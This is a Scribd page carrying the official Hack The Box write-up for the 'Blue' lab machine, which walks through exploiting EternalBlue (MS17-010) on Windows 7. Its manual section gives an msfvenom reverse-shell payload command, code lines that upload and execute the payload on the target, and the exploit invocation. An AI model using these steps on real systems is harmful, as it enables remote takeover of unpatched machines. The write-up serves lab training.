Scribd Logo
Upload

Welcome to Scribd!

  • 19 views

    Blue

    Uploaded by

    MK
    Blue is a machine on Hack The Box that demonstrates the EternalBlue exploit. Nmap reveals SMB is open, and further scanning shows the target is Windows 7 Professional SP1, vulnerable to EternalBlue. Exploitation is easy using Metasploit's eternalblue module or a Python EternalBlue PoC to get a root shell. Manual exploitation requires modifying the PoC to copy a reverse shell executable and execute it on the target.

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd

    Blue

    Uploaded by

    MK
    19 views5 pages
    Blue is a machine on Hack The Box that demonstrates the EternalBlue exploit. Nmap reveals SMB is open, and further scanning shows the target is Windows 7 Professional SP1, vulnerable to EternalBlue. Exploitation is easy using Metasploit's eternalblue module or a Python EternalBlue PoC to get a root shell. Manual exploitation requires modifying the PoC to copy a reverse shell executable and execute it on the target.

    Original Description:

    hack1 htb windows

    Copyright

    © © All Rights Reserved

    Available Formats

    PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    Blue is a machine on Hack The Box that demonstrates the EternalBlue exploit. Nmap reveals SMB is open, and further scanning shows the target is Windows 7 Professional SP1, vulnerable to EternalBlue. Exploitation is easy using Metasploit's eternalblue module or a Python EternalBlue PoC to get a root shell. Manual exploitation requires modifying the PoC to copy a reverse shell executable and execute it on the target.

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd
    Download as pdf or txt
    19 views5 pages

    Blue

    Uploaded by

    MK
    Blue is a machine on Hack The Box that demonstrates the EternalBlue exploit. Nmap reveals SMB is open, and further scanning shows the target is Windows 7 Professional SP1, vulnerable to EternalBlue. Exploitation is easy using Metasploit's eternalblue module or a Python EternalBlue PoC to get a root shell. Manual exploitation requires modifying the PoC to copy a reverse shell executable and execute it on the target.

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd
    Download as pdf or txt
    of 5

     

     
     

     
     

    Blue 
    5​th​ October 2017 / Document No D17.100.08 
    Prepared By: Alexander Reid (Arrexel) 
    Machine Author: ch4p 

      Difficulty: ​Easy 
    Classification: Official 

    Page 1 / 5 
     

    SYNOPSIS 
    Blue, while possibly the most simple machine on Hack The Box, demonstrates the severity of the 
    EternalBlue exploit, which has been used in multiple large-scale ransomware and crypto-mining 
    attacks since it was leaked publicly. 

    Skills Required  Skills Learned 

    ● Basic knowledge of Windows  ● Identifying Windows targets using SMB 


    ● Enumerating ports and services  ● Exploit modification (optional) 

    Page 2 / 5 
     

    Enumeration 

    Nmap 

    Nmap reveals that SMB is open, among other things. 

    SMB Host Detection 

    The auxiliary/scanner/smb/smb_version Metasploit module reveals that the target is running 


    Windows 7 Professional SP1, which is a prime candidate for EternalBlue (MS17-010). 

    Page 3 / 5 
     

    Exploitation 
    Metasploit 

    Exploitation is very straight forward. The ​exploit/windows/smb/ms17_010_eternalblue 


    Metasploit module will immediately grant a root shell. Grab the flags from 
    c:\Users\haris\Desktop\user.txt.txt ​and ​c:\Users\Administrator\Desktop\root.txt.txt 

    Page 4 / 5 
     

    Manual 

    Exploit: ​https://github.com/worawit/MS17-010  

    A shell can also be achieved using the above PoC. Modifying ​zzz_exploit.py​ is relatively easy. 
    Using ​\​ as the username works in this case, as the server is using the default configuration. 

    A slight modification to the ​smb_pwn​ method is also required, as by default it only creates a text 
    file in the root of the drive. Adding the following lines will copy a local binary to the target and 
    execute it. The binary can be generated by Msfvenom using the command ​msfvenom -p 
    windows/meterpreter/reverse_tcp lhost=<LAB IP> lport=<PORT> -f exe > writeup.exe 

    smb_send_file(smbConn, '/root/Desktop/writeups/blue/writeup.exe', 'C', '/writeup.exe') 

    service_exec(conn, r'cmd /c c:\\writeup.exe') 

    It is now possible to run ​zzz_exploit.py​. A named pipe is required to execute the script, and in 
    this case ​ntsvcs​ works just fine. 

    Command: ./zzz_exploit.py 10.10.10.40 ntsvcs 

    Note: it may take several attempts for the exploit to succeed.  

    Page 5 / 5 

    You might also like